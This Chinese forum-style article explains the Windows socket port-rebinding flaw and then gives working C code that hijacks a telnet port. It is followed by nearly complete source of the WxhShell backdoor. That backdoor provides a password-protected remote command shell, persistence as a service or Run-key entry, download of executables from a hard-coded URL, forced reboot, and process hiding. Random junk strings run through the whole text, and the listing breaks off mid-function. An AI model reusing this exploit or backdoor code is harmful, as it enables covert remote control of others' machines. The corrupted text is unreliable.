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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `G@(Z:]f,t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sKg
IKYG}T ;h f{B7 saddr.sin_family = AF_INET; sYfiC`9SO /8cfdP Ba saddr.sin_addr.s_addr = htonl(INADDR_ANY); z9}WP$W s%bm1$} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MD4RSl<F 6E^h#Ozl
9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KUV(vAY, qUSy0SQ/l 这意味着什么?意味着可以进行如下的攻击: OMY^'g%w ln1QY"g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9} *Pb6 JEL.*[/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .or1*-B K %&iY5A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e{Y8m Xu VYo2m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6f'THU$ zObrp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w/oXFs&FK 5/E7@h , 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Pb]EpyAW 2(i@\dZCb< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U
=i=E}' g7l?/p[n #include "y7IH
GJ\3 #include Zk+c9, q #include 8XG|K`'u #include q; ?Kmk DWORD WINAPI ClientThread(LPVOID lpParam); oc>N| ww: int main() ;CtTdr { PR2;+i3 WORD wVersionRequested; H/^t]bg, DWORD ret; bH Nf> WSADATA wsaData; khb/"VYd BOOL val; =J GL~t? SOCKADDR_IN saddr; Zsto8wuf# SOCKADDR_IN scaddr; bjr()NM1 int err; 8dUP_t~d#q SOCKET s; 4>NmJrh SOCKET sc; B1k;!@@14 int caddsize; L;i(@tp|v HANDLE mt; 2]V&]s8Wi= DWORD tid; C~X"ZW:d[ wVersionRequested = MAKEWORD( 2, 2 ); l
Zz%W8" err = WSAStartup( wVersionRequested, &wsaData ); VUUE2k;^ if ( err != 0 ) { (&!x2M printf("error!WSAStartup failed!\n"); jmJeu@( return -1; DEQ7u`6 } {'UK>S saddr.sin_family = AF_INET; `9&~fWu E#VF7 9L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VT2f\d[Q K#kMz#B+i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DR(/|?k+ saddr.sin_port = htons(23); uhvn1" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zrL +:/t { \qkb8H printf("error!socket failed!\n"); l\_81oZ return -1; k9!euj& } Jy
P$'v~ val = TRUE;
x0||'0I0 //SO_REUSEADDR选项就是可以实现端口重绑定的 fn,
YH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6^sH3=# { c+ukVn`r printf("error!setsockopt failed!\n"); 7qLB 9r return -1; Ov@vNj& } ^IqD^(Kb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FnCMr_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ay,"MJ2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t[p/65L>8 [e7nW9\l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9;ie[sU:u { jGEmf<q&u ret=GetLastError(); @e2P3K gg printf("error!bind failed!\n"); /kV5~i<1S return -1; 'x u!t'l& } i?D)XXB85 listen(s,2); P-\65]`C while(1) "eIE5h { &*; Z(ul&9 caddsize = sizeof(scaddr); w"q^8"j! //接受连接请求 XBm ^7' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F- {hXM if(sc!=INVALID_SOCKET) oA+'9/UY { ^!Tq(t5V mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !X\aZ{}Q if(mt==NULL) ]<k+a-Tt { 6o]j@o8V printf("Thread Creat Failed!\n"); wPvYnhr|G- break; ,[[Xo;q } `8kL=%(h } xiO10:L4 CloseHandle(mt); @c=bH>Oz } g^)) closesocket(s); NdB:2P WSACleanup(); W)Mc$`nX return 0; zYEb#*Kar } i2Sh^\Xw DWORD WINAPI ClientThread(LPVOID lpParam) &R3#? 1, { [Uw3.CVh SOCKET ss = (SOCKET)lpParam; ZOy^TR SOCKET sc; K1t>5zm unsigned char buf[4096]; "\qm +g SOCKADDR_IN saddr; mW1T4rR' long num; s lYC\"$ DWORD val; SHQgI<D7 DWORD ret; )PvB^n //如果是隐藏端口应用的话,可以在此处加一些判断 ^-,@D+eW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 R) J/z saddr.sin_family = AF_INET; g:?p/L saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =QhK|C!$A saddr.sin_port = htons(23); '~E=V:6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s} oD?h:T3 { ]JlM/ printf("error!socket failed!\n"); S5e"}.]| return -1; [E0.4FLT! } ;rC< C val = 100; ?pV!`vp^{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hlGrnL { *mkL>v & ret = GetLastError(); ddw^oU return -1; k;
ned } X{P=2h#g
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a7"Aq:IjU { T]2= ret = GetLastError(); 2{4f>,][ return -1; ;+rcT;_^/ } m:c .dei5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SzyaVBD3 { Zo@ printf("error!socket connect failed!\n");
ITfz/d8 closesocket(sc); n W:Bo# closesocket(ss); a&<_M$J& return -1; jAfqC@e } e,T^8_> while(1) @j=rSS { %wN*Hu~E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PBgU/zVn //如果是嗅探内容的话,可以再此处进行内容分析和记录 ) h=[7}| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z|O3pQn~ num = recv(ss,buf,4096,0); 'EG/)0t` if(num>0) -(9TM*)O send(sc,buf,num,0); m=V69
a# else if(num==0) 13f'zx(AO break; YFeL#)5y num = recv(sc,buf,4096,0); 6)_h'v<|M if(num>0) .Xk#Cwm' send(ss,buf,num,0); sU"sd7#A else if(num==0) nRcy`A% break; 1:Wl/9mL } FA1h!Vit closesocket(ss); .yQ< closesocket(sc); K,dEa<p return 0 ; <J-.,: } # aIV\G zh9B8r)C wLy:S .r ========================================================== $.3J1DU .GIygU_ 下边附上一个代码,,WXhSHELL /hAy1V6 6yd?xeD ========================================================== DtkOb,wY x| r# #include "stdafx.h" vCn\_Nu;W& na_Wp^; #include <stdio.h> t(xe*xS #include <string.h> (1)b> 6 #include <windows.h> YqYobL*q/ #include <winsock2.h> #BX}j&h_ #include <winsvc.h> =1zRm >m #include <urlmon.h> l f_q6y R{q<V uN #pragma comment (lib, "Ws2_32.lib") yZ,S$tSR #pragma comment (lib, "urlmon.lib") 5Vlm?mPU rAS2qt #define MAX_USER 100 // 最大客户端连接数 Dp^6|T* HU #define BUF_SOCK 200 // sock buffer .cB>ab& #define KEY_BUFF 255 // 输入 buffer LknV47vd <%S[6*6U #define REBOOT 0 // 重启 )|KZGr #define SHUTDOWN 1 // 关机 i: 7cdhz HjZf3VwI #define DEF_PORT 5000 // 监听端口 w$jq2?l Wt!8.d}= #define REG_LEN 16 // 注册表键长度 ww)ow\ #define SVC_LEN 80 // NT服务名长度 '3
JVUHn M>u84|` // 从dll定义API L 7l"*w( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L\\'n ) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )5w# n1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5E}!TL$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U\dLq&=V @m9dB P // wxhshell配置信息 [>|6qY$D struct WSCFG { h&z(;B!;y. int ws_port; // 监听端口 GSVLZF'+ char ws_passstr[REG_LEN]; // 口令 3q.HZfN~ int ws_autoins; // 安装标记, 1=yes 0=no RU\MT'E>( char ws_regname[REG_LEN]; // 注册表键名 9a]h;r8,9z char ws_svcname[REG_LEN]; // 服务名 *OHaqe(* char ws_svcdisp[SVC_LEN]; // 服务显示名 6nW]Q^N} char ws_svcdesc[SVC_LEN]; // 服务描述信息 G1ED=N_# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lSBu,UQP int ws_downexe; // 下载执行标记, 1=yes 0=no 8jz7t:0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" nS]Ih 0(K char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [y(<1]i-a fn Pej?f: }; )No> Q :t QQQN}!xPj // default Wxhshell configuration 7&1dr struct WSCFG wscfg={DEF_PORT, AP0z~e "xuhuanlingzhe", ;:8SN&). 1, %+L3Xk]m' "Wxhshell", 'v_k#% "Wxhshell", E*VOyH2[ "WxhShell Service", "(vm0@8>< "Wrsky Windows CmdShell Service", Wn5xX5H C "Please Input Your Password: ", JF(&+\i<p 1, }nMp.7b " http://www.wrsky.com/wxhshell.exe", r~PVh? "Wxhshell.exe" 4Vv$bbu+ }; ABU~V+'2 Ev,b5KelD // 消息定义模块 ShJBOaE; - char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WJii0+8e char *msg_ws_prompt="\n\r? for help\n\r#>"; 1U8/.x| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _dwJ; j`2 char *msg_ws_ext="\n\rExit."; $TFWum9wO char *msg_ws_end="\n\rQuit."; y
hNy char *msg_ws_boot="\n\rReboot..."; %D E_kwL char *msg_ws_poff="\n\rShutdown..."; ~)
vz`bD1 char *msg_ws_down="\n\rSave to "; hd#MV!ti pZ&?uo67_ char *msg_ws_err="\n\rErr!"; ;
e)vk| char *msg_ws_ok="\n\rOK!"; e{}vT$- M6z$*?< char ExeFile[MAX_PATH]; 6kdcFcV-] int nUser = 0; sdXZsQw HANDLE handles[MAX_USER]; n*A"}i`ix int OsIsNt; `tJ"wpCf6 p~h[4hP SERVICE_STATUS serviceStatus; '%KaAi$ SERVICE_STATUS_HANDLE hServiceStatusHandle; G(MLq"R6U <4jqF 4
W // 函数声明 KvtJtql; int Install(void); {@
Z%6%'9 int Uninstall(void); Aw=GvCo< int DownloadFile(char *sURL, SOCKET wsh); U&u~i
3 int Boot(int flag); (dAE void HideProc(void); \OK"r-IO int GetOsVer(void); #oxP,LR int Wxhshell(SOCKET wsl); <E\vc6n void TalkWithClient(void *cs); m4RiF int CmdShell(SOCKET sock); `WlQ<QEi int StartFromService(void); @_Es|(4 int StartWxhshell(LPSTR lpCmdLine); }W5~89" 8eD/9PD=F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ].3@ Dk VOID WINAPI NTServiceHandler( DWORD fdwControl ); <&iLMb:% !X+}W[Ic^ // 数据结构和表定义 ?T_bjALW SERVICE_TABLE_ENTRY DispatchTable[] = `2@f=$B { Hzojv<c {wscfg.ws_svcname, NTServiceMain}, o3a%u( {NULL, NULL} IZ9*
'0Z }; QHw{@* ? io,8 // 自我安装 %QFeQ(b/( int Install(void) KBwY _ { V5S6?V\ char svExeFile[MAX_PATH]; e/F+Tf HKEY key; Y!3i3D strcpy(svExeFile,ExeFile); YbP}d&L F7U$7(I2G // 如果是win9x系统,修改注册表设为自启动 JJu}Ed_ if(!OsIsNt) { ky@DH(^> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GW!%DT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %p
tw=Ju RegCloseKey(key); R6qC0@* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;-!O+c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #E@X'jwu RegCloseKey(key); L?r\J8Ch< return 0; >3)AO04=; } .
/~# } RbJbVFz8C } xqzB=0 else { `lN
Z|U SOQR(UT // 如果是NT以上系统,安装为系统服务 7` IO mTk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <k7q9"\4 if (schSCManager!=0) <<+Hs/ ] { f4&k48Ds SC_HANDLE schService = CreateService A&=`?4> ( #4ii!ev schSCManager, `(pe#Xxn wscfg.ws_svcname, BnIZ+fg= wscfg.ws_svcdisp, 1zc-$B`t SERVICE_ALL_ACCESS, X.JPM{] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , psB9~EU&Q SERVICE_AUTO_START, &z%DX
SERVICE_ERROR_NORMAL, 0A.9<&Lod svExeFile, l5,}yTUta NULL, y<n<uZ; NULL, zq4)Uab* NULL, k"J=CDP\ NULL, 99&PY[f:{ NULL j8{,u6w)- ); F+::UWKA if (schService!=0) 6Z68n { <!I^ xo[ CloseServiceHandle(schService); 1}b1RKKj< CloseServiceHandle(schSCManager);
6+x>g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4dUr8]BkG strcat(svExeFile,wscfg.ws_svcname); oSB0P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =B tmi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hPgDK.R' RegCloseKey(key); zqAp7: return 0; =@ "'aCU/ } #;9n_) } 7s.vJdA]6 CloseServiceHandle(schSCManager); e?eX9yA7F } xgv&M:%D- } ~h6aTN \[;Qqn0 return 1; `=rDB7!$yL } ] !:0^| O7GJg;>? // 自我卸载
Xw{Qktn int Uninstall(void) DJ<F8-sb2r {
h@"u==0 HKEY key; d@,3P)? Z*Jp?[## if(!OsIsNt) { Pg/$N5-> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik Pm,ZN RegDeleteValue(key,wscfg.ws_regname); Hy0l"CA*| RegCloseKey(key); 30nR2mB
Kt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TNK~ETE4 RegDeleteValue(key,wscfg.ws_regname); k4Ub+F RegCloseKey(key); ECEDNib return 0; n8vteGQ } 3# r`e } nPo YjQi } W!
q-WU else { u+/1ryp mzh7E[S_,i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !w-`:d? if (schSCManager!=0) ThmN^N { v05B7^1@_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @-F[3`HeA if (schService!=0) -McDNM { lH8e?zJ if(DeleteService(schService)!=0) { <764|q CloseServiceHandle(schService); li
Hz5<| CloseServiceHandle(schSCManager); ww(. return 0; }|!9aojr } E3<~C(APW CloseServiceHandle(schService); Af%#&r7W } KOM]7%ys1H CloseServiceHandle(schSCManager); I3$/# } ?g\SF}2 } jVhfpS[ BavGirCp
return 1; voAen&>! } / %:%la% FY6!)/P0I7 // 从指定url下载文件
c!})%{U int DownloadFile(char *sURL, SOCKET wsh) E5U{.45 { s$ v<p(yl HRESULT hr; @+`">a8}, char seps[]= "/"; !c 3li . char *token; tQ >
IJ char *file; ^w*$qzESy char myURL[MAX_PATH]; ;x=r.3OQy char myFILE[MAX_PATH]; =u^{Jvl[ ttaYtV]] strcpy(myURL,sURL); g Q@fe3[ token=strtok(myURL,seps); IFg(Ze~ while(token!=NULL) 0 `L>t { f<T"# G$5 file=token; nB+ e2e& token=strtok(NULL,seps); iB=v
>8l% } `LID*uD;_ HECZZnM GetCurrentDirectory(MAX_PATH,myFILE); Mkc|uiT
strcat(myFILE, "\\"); eGJ}';O,g strcat(myFILE, file); 9uL="z$\ send(wsh,myFILE,strlen(myFILE),0); }1/`<m send(wsh,"...",3,0); c[xH:$G?Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %G%D[ i] if(hr==S_OK) (GNY::3 return 0; ' Oe}Ja else i[wEH1jR return 1; +UTs2*H/^ F;&a=R!. } &oyj8 gqi|k6V/ // 系统电源模块 itg
PG int Boot(int flag) ETA 1\ { V u`O%[Q/ HANDLE hToken; Ehv*E TOKEN_PRIVILEGES tkp; eT|"6WJ:{ :$#";t| if(OsIsNt) { ;1&7v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /4f4H?A - LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #
[0>wEq tkp.PrivilegeCount = 1; Rf~? u)h1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 50S >`qi2x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sBo|e]m# if(flag==REBOOT) { !VfP#B6. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !PFc)J return 0; @%5$x]^ } VZ:LK else { y^SDt3Am if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xfE:r: return 0; q
i27:oJ } d1`us G" } B-<H8[GkG1 else { 4l6+8/Y if(flag==REBOOT) { -]?F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) : Nf-}" return 0; X R =^zp? } @\=%M^bx else { 2JV,AZf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~S],)E1w return 0; h zh%ML3L } z8ox#+l } jNIZ!/K whzV7RT return 1; Ny.s
u?E } AvN\^
&G jM E==)Y // win9x进程隐藏模块 YB}p`b42L void HideProc(void) fh1rmet&Ts { !i|]OnJY k lRS:\dW HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~t $zypw if ( hKernel != NULL ) BtSl%(w { p.gaw16}> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H^N@fG<*dh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k-v@sb24_ FreeLibrary(hKernel); ,~!rn}MI< } LV:`siK 7h4"5GlO0 return; PLi [T4u } ]yxRaW9f -N')LY // 获取操作系统版本 3MR4yw5v int GetOsVer(void)
+,xl_,Z6 { FQbF)K~e OSVERSIONINFO winfo; >taC_f06 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f?iQ0wv) GetVersionEx(&winfo); }}";)}C` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7PDz ]i return 1; m17H#!` else ; 7`y## return 0; X]?qns7 } ?#8s=t /$ 7_*4e // 客户端句柄模块 MLL4nkO,` int Wxhshell(SOCKET wsl) )"im|9 { \\F@_nB,b SOCKET wsh; o%+8.Tx6wT struct sockaddr_in client; IH;+pN DWORD myID; 'V reO52 Mh04O@" while(nUser<MAX_USER) Z|YiYQl[) { Nw`}iR0i int nSize=sizeof(client); .=WsB@+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5I!EsW$sY if(wsh==INVALID_SOCKET) return 1; /( /)nYAjk {iGk~qN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MPINxS if(handles[nUser]==0) -saisH6 closesocket(wsh); o2cZ else E\5cb[Y nUser++; >&0)d7Nu8m } a'f0Wv0%" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2;@#i*\Y ^^[MDjNy@ return 0; O`nrXC{ } 2k,!P6fgl DP=4<ES%+ // 关闭 socket 5>J{JW| void CloseIt(SOCKET wsh) %m:T?![XO { #P,mZ}G\ closesocket(wsh); PTfy# nUser--; ,LjB%f[ ExitThread(0); l4oI5)w } J1I"H<}-6 |Uz?i7z // 客户端请求句柄 ='1J&w~7 void TalkWithClient(void *cs) mmrx*sr= { m^dKww R v61*F4 SOCKET wsh=(SOCKET)cs; #4. S2m4 char pwd[SVC_LEN]; Xp<RGp7E char cmd[KEY_BUFF]; @ \ip?= char chr[1]; bXoj/zek int i,j; D*d@<&Bl4< FL5u68 while (nUser < MAX_USER) { =/@c9QaVB )Yvf9dl if(wscfg.ws_passstr) { jq{rNxdGx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (`}O!;/E} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &(h~{ //ZeroMemory(pwd,KEY_BUFF); 8fzmCRFH i=0; 8UArl3 while(i<SVC_LEN) { cT
abZc 7bioLE // 设置超时 >&h#t7< fd_set FdRead; T)Byws struct timeval TimeOut; EB'(%dH FD_ZERO(&FdRead); RG=!,#X FD_SET(wsh,&FdRead); D T^3K5 TimeOut.tv_sec=8; ?C
TimeOut.tv_usec=0; "=I
ioY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JF]HkH_u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T69'ta32V mc_`:I= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U@v=q9'W pwd =chr[0]; p(UUH3%W if(chr[0]==0xd || chr[0]==0xa) { W!g'*L/#L pwd=0; 6dO )] break; (l :;p&[ } 2`,{IHu*! i++; g:MpN^l } F,^Q'$! O.S(H1z<G // 如果是非法用户,关闭 socket GkjTE2I3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )`]w\s
# } /7X:=~m v/6QE;BY&Q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RWf4Wh?d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )|f!}( p `-S6g^Y while(1) { ZK4/o 2bU3*m^M ZeroMemory(cmd,KEY_BUFF); -G2'c)DR O
[GG<Um // 自动支持客户端 telnet标准 D t\F]\6sd j=0; 8E{<t} while(j<KEY_BUFF) { t5n$sF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hp6S *d
cmd[j]=chr[0]; :~BY[") if(chr[0]==0xa || chr[0]==0xd) { jLc4D' cmd[j]=0; '~A~gK0 break; 4'bup h1( } +K2jYgy j++; 5=/H2T!F } RVtb0FL EI6K0{'&X // 下载文件 SN O'*? if(strstr(cmd,"http://")) { 4Y8/>uL send(wsh,msg_ws_down,strlen(msg_ws_down),0); k,O("T[ if(DownloadFile(cmd,wsh)) PO5/j send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7T]l1]W% else ?)k;.<6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d(zBd=; } n%? bMDS else { ^B~z .F
i :Zl@4} switch(cmd[0]) { dM8`!~#&PI *j RNpB{)z // 帮助 7HzO_u%H1 case '?': { <7cm[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Hn{nVU1R= break; U7(84k\j } v)>R)bzqe // 安装 -kT *gIJ} case 'i': { q-O=Em <* if(Install()) B uV@w-| send(wsh,msg_ws_err,strlen(msg_ws_err),0); .zO/8y(@ else ]Ec\!,54u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Xvrf break; vK
z/-9im } pme5frM| // 卸载 E'zLgU)r` case 'r': { 4JSf t
t if(Uninstall()) ~#+ Hhc( send(wsh,msg_ws_err,strlen(msg_ws_err),0); -R@mnG
5 else 0@[]l{N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y{fah break; <z+5+h|^ } @w|'ip5@ // 显示 wxhshell 所在路径 XOK.E&eilj case 'p': { FjD`bhw- char svExeFile[MAX_PATH]; S,,,D+4 strcpy(svExeFile,"\n\r"); EEmYfP[3 strcat(svExeFile,ExeFile); ;LM`B^Q]s send(wsh,svExeFile,strlen(svExeFile),0); YNV4w{>FD break; o_hk!s^4m } eSNi6RvE // 重启 zX{K\yp case 'b': { [h20y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7xidBVx if(Boot(REBOOT)) IF-g % send(wsh,msg_ws_err,strlen(msg_ws_err),0); R,?7|x else { JG-\~'9 closesocket(wsh); <Uf?7 ExitThread(0); [;yEG$)K } 60?/Z2w5 break; >DqV^%2l } W,'30:#Fr7 // 关机 V*HkFT case 'd': { Ux5pw send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R+Q..9P if(Boot(SHUTDOWN)) 8V$pdz| [ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kM# lh7At else { vqDd][ n closesocket(wsh); KneCMFy ExitThread(0); ^ 'W<| } NJ\ID=3l break; {x$WBy9 } 6S*L[zBnA\ // 获取shell eiE36+'>b case 's': { znm3b8ns CmdShell(wsh); fHK`u' closesocket(wsh); &|cg`m ExitThread(0); ?86q8E3;& break; xx[XwN; } aYc*v5QN3 // 退出 i#c1ZC case 'x': { oNW5/W2e; send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ro:B[XE CloseIt(wsh); h$3o]~t break; J${'?!N } V}c3}'_U] // 离开 h+ixl#: case 'q': { Z]U"i 1lA send(wsh,msg_ws_end,strlen(msg_ws_end),0); BllS3I}V closesocket(wsh); Vu6$84>-, WSACleanup(); @K{1O|V exit(1); J0xV\O
!e break; 3-^z<* } Vqr#%.N } >/W } k'H+l]= 0^?:Zds // 提示信息 K ?R*
)_ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aNd6#yU$ } tb#9TF } mar6/*`I#+ yDmNPk/ return; ."HDUo2D7 } 5%` fh% J/OG\} // shell模块句柄 #J4{W84B int CmdShell(SOCKET sock) _c[Bjip { o|r8x_!+ STARTUPINFO si; Xaz`L ZeroMemory(&si,sizeof(si)); H> Y0R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M`_RkDmy< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :.2Tcq PROCESS_INFORMATION ProcessInfo; Gcu[G]D char cmdline[]="cmd"; )1E[CIaXK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QkY]z~P4 return 0; ,drbj.0- } ^a ,Oi% 2kG(\+\ // 自身启动模式 WD`z\{hcom int StartFromService(void) q$#5>5& { ]6)~Sj$ 5 typedef struct 3u&>r-V6Fn { {nr}C4]o DWORD ExitStatus; H]zi>;D DWORD PebBaseAddress; whoM$ & DWORD AffinityMask; J #ukH`|- DWORD BasePriority; gAFu ULONG UniqueProcessId; 9V ]{q ULONG InheritedFromUniqueProcessId; moop.}O< } PROCESS_BASIC_INFORMATION; NA=I7I@ "#ctT-g`6 PROCNTQSIP NtQueryInformationProcess; /=y _#l AbqeZn static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \E}YtN# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B\ <;e Ne!0 `^`~ HANDLE hProcess; d9qA\ [ PROCESS_BASIC_INFORMATION pbi; 'MWu2L!F q3_ceXYU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t9C.|6X if(NULL == hInst ) return 0; @.D1_A ulA|| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f+WN=-F\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 